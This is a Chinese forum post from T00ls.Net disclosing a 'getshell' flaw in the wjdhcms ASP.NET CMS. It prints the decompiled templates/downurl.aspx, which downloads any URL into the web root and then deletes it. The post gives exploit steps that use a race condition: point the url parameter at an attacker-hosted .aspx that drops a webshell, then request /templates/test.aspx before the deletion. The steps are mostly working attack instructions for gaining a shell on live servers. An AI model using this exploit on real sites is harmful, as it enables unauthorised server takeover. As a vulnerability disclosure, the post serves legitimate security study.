wjdhcms 前台 Getshell(条件竞争) – T00ls.Net

万家灯火 CMS 一款 asp.net 的 CMS 问题文件 / 后台目录 / templates/downurl.aspx 未授权任意文件下载 using System;using System.IO;using Syst.....

2021-02-11 23:45:06 386 1

万家灯火 CMS 一款 asp.net 的 CMS
问题文件 / 后台目录 / templates/downurl.aspx
未授权任意文件下载

```
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Web;
using System.Web.UI;
using System.Web.UI.HtmlControls;


namespace wjdhcms.cc.templates
{
    // Token: 0x0200004E RID: 78
    public class downurl : Page
    {
        // Token: 0x060001F3 RID: 499 RVA: 0x00003DAC File Offset: 0x00001FAC
        public downurl()
        {
            Class27.L0CWKPGzdZt9S();
            base..ctor();
        }


        // Token: 0x060001F2 RID: 498 RVA: 0x000292BC File Offset: 0x000274BC
        public void DownloadFile(string sourceUri, string filePath)
        {
            HttpContext.Current.Server.MapPath(filePath);
            string text = base.Request.ApplicationPath + "/" + filePath;
            string str = sourceUri.Substring(sourceUri.LastIndexOf("/") + 1);
```

```
            HttpWebRequest httpWebRequest = WebRequest.Create(sourceUri) as HttpWebReque
st;
            httpWebRequest = (WebRequest.Create(sourceUri) as HttpWebRequest);
            httpWebRequest.AllowAutoRedirect = false;
            httpWebRequest.Referer = sourceUri;
            httpWebRequest.UserAgent = "Mozilla/5.0\u00a0(Windows;\u00a0U;\u00a0Windows
\u00a0NT\u00a06.1;\u00a0zh-CN;\u00a0rv:1.9.2.13)\u00a0Gecko/20101203\u00a0Firefox/3.6.1
3";
            HttpWebResponse httpWebResponse = httpWebRequest.GetResponse() as HttpWebRes
ponse;
            httpWebResponse = (httpWebRequest.GetResponse() as HttpWebResponse);
            Stream responseStream = httpWebResponse.GetResponseStream();
            byte[] array = new byte[32768];
            int num = 0;
            FileStream fileStream = File.Create(base.Server.MapPath(text + str));
            int num2;
            do
            {
                num2 = responseStream.Read(array, 0, array.Length);
                fileStream.Write(array, 0, num2);
                num += num2;
            }
            while (num2 > 0);
            fileStream.Flush();
            fileStream.Close();
            httpWebResponse.Close();
            onzip onzip = new onzip();
            string patch = base.Server.MapPath(text);
            onzip.unzip(patch, base.Server.MapPath(text + str), "");
            File.Delete(base.Server.MapPath(text + str));
            string value = "{sta: '1'},";
            StringBuilder stringBuilder = new StringBuilder();
            base.Response.ContentType = "application/json";
            stringBuilder.Append(value);
            stringBuilder.Remove(stringBuilder.Length - 1, 1);
            base.Response.Write(stringBuilder.ToString());
            base.Response.End();
            base.Response.Close();
        }


        // Token: 0x060001F1 RID: 497 RVA: 0x00029270 File Offset: 0x00027470
        protected void Page_Load(object sender, EventArgs e)
        {
            string sourceUri = base.Server.UrlDecode(base.Request.QueryString["url"]).Re
place("../UploadFile/", "http://dl.wjdhcms.com/UploadFile/");
            this.DownloadFile(sourceUri, "templates/");
        }


        // Token: 0x04000216 RID: 534
        protected HtmlForm form1;
    }
```

```
}
```

先下载远程文件 后删除

```
File.Delete(base.Server.MapPath(text + str));
```

EXP:

利用条件竞争

1./{后台}/templates/downurl.aspx?url=http://test(生成小马的).aspx

2./templates/test.aspx

SHELL:

条件竞争生成的小马

比较冷门的一个洞 利用需要先获取后台地址

比较简单 T00lser 们新年快乐

TCV=0